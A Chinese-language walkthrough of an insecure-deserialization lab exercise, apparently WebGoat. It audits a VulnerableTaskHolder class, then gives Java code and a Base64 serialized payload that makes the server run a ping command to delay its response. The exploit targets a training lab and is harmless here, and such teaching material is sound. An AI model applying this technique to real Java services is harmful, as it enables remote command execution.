Software & Data Integrity

Insecure Deserialization

5

反序列化。

在反序列化时发现一个运行危险操作的gadget是很少见的(但也可能发生)。不过,更容易找到的是,当一个gadget被反序列化时,它会在另一个gadget上运行操作,而第二个gadget又会在第三个gadget上运行更多操作,以此类推,直到触发真正的危险操作。在反序列化过程中可以用来实现危险动作的gadget集合被称为 “Gadgets Chain”。

更改网页提供的序列化字符串,生成一个可以将页面响应延迟 5 秒的序列化字符串。

不知道可利用类,无可奈何,审计源码。

可以看到,在计时前后,只是执行了 Object o = ois.readObject()

查看 VulnerableTaskHolderreadObject()实现,发现会通过 Runtime.getRuntime().exec()执行系统命令,这是一个非常危险的操作。尽管这里做了限制,只允许 sleepping命令,且命令长度小于22个字符。

显然需要利用的就是这个类了。

序列化代码需要根据代码中的反序列化代码(ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token))))来编写。

新建一个java文件,构造一个类 SerialMain,来生成指定的序列化代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 导入需要的类
import org.dummy.insecure.framework.VulnerableTaskHolder;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;


public class SerialMain {

public static void main(String[] args) {
try {
// 创建一个 VulnerableTaskHolder 对象
VulnerableTaskHolder taskHolder = new VulnerableTaskHolder("ping", "ping -n 6 127.0.0.1");
// 创建一个 ByteArrayOutputStream 以便将对象序列化为字节数组
ByteArrayOutputStream bos = new ByteArrayOutputStream();
// 创建 ObjectOutputStream 以便将对象写入字节数组输出流
ObjectOutputStream oos = new ObjectOutputStream(bos);
// 将任务持有者对象写入字节数组输出流
oos.writeObject(taskHolder);
oos.flush();
// 获取序列化后的字节数组
byte[] exploit = bos.toByteArray();
// 对字节数组进行 Base64 编码
String encodedExploit = Base64.getEncoder().encodeToString(exploit);
// 打印 Base64 编码后的序列化数据
System.out.println(encodedExploit);
} catch (Exception e) {
// 捕捉可能发生的异常,并打印异常信息
System.out.println(e);
}
}
}

代码执行得到如下序列化的字符串,提交即可。

1
rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfnDBgVFwwtPWRUeHQAE3BpbmcgLW4gNiAxMjcuMC4wLjF0AARwaW5n